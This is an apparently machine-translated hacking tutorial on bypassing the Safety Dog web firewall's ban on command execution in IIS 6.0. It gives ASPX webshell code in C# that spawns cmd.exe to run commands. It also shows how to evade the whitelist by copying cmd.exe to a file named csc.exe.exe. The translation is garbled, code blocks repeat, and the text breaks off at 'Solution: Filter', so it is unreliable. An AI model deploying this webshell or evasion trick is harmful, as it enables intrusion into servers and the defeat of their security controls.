Dongle prohibits iis Command Bypass

Dongle prohibits iis Command Bypass

Dongle prohibits iis Command Bypass

1: = the safety dog feature is getting worse and worse. At first, let's take a look at the following disgusting things:

1): Upload protection, such as uploading aspx and asp.

2): browser protection, direct access to the aspx horse, and scan and kill

3): static Scanning

4): After the horse is uploaded, there is also a line of connection protection, which is a common dish removal tool.

5): execution of malicious components is prohibited.

6): Disable iis Command Execution


2: In the previous section 1234, it is often discussed in the zone that the content sent in the previous zone can be used for upload and static scanning and removal to bypass. Here we will mainly describe the last prohibition of iis Command Execution.



3: Here I am using the website security dog, version 3.5
 

The system is win2003 iis6.0.



4: the code for Creating An aspx page is as follows:
 

using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using System.Web.UI.HtmlControls;using System.Diagnostics;using System.ComponentModel;public partial class _Default : System.Web.UI.Page {    protected void Page_Load(object sender, EventArgs e)    {    }    protected void btnShow_Click(object sender, EventArgs e)    {                Process p = new Process();        p.StartInfo.FileName = "C:\\WINDOWS\\system32\\cmd.exe";        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardInput = true;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.StartInfo.CreateNoWindow = true;        string strOutput = null;        p.Start();        p.StandardInput.WriteLine("whoami");        p.StandardInput.WriteLine("exit");        strOutput = p.StandardOutput.ReadToEnd();        p.WaitForExit();        p.Close();            this.lblDisplay.Text = strOutput;            }}

Generally, a cmd command is executed when you click it.

5: An error is reported when security is enabled, prompting you to execute the cmd command.
 

6: In this case, we have written a ghost white name, so I can change the exefile to csc.exe.exe. If this is the case, I copied a file to C: \ WINDOWS \ Microsoft. NET \ Framework \ v4.0.30319 \ csc.exe.exe.



7: modify the code and execute:
 

The modified file code:
 

using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using System.Web.UI.HtmlControls;using System.Diagnostics;using System.ComponentModel;public partial class _Default : System.Web.UI.Page {    protected void Page_Load(object sender, EventArgs e)    {    }    protected void btnShow_Click(object sender, EventArgs e)    {                Process p = new Process();        p.StartInfo.FileName = "C:\\WINDOWS\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.exe";        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardInput = true;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.StartInfo.CreateNoWindow = true;        string strOutput = null;        p.Start();        p.StandardInput.WriteLine("whoami");        p.StandardInput.WriteLine("exit");        strOutput = p.StandardOutput.ReadToEnd();        p.WaitForExit();        p.Close();            this.lblDisplay.Text = strOutput;            }}

 

7: modify the code and execute:
 

The modified file code:
 

using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using System.Web.UI.HtmlControls;using System.Diagnostics;using System.ComponentModel;public partial class _Default : System.Web.UI.Page {    protected void Page_Load(object sender, EventArgs e)    {    }    protected void btnShow_Click(object sender, EventArgs e)    {                Process p = new Process();        p.StartInfo.FileName = "C:\\WINDOWS\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.exe";        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardInput = true;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.StartInfo.CreateNoWindow = true;        string strOutput = null;        p.Start();        p.StandardInput.WriteLine("whoami");        p.StandardInput.WriteLine("exit");        strOutput = p.StandardOutput.ReadToEnd();        p.WaitForExit();        p.Close();            this.lblDisplay.Text = strOutput;            }}

 

Solution:

Filter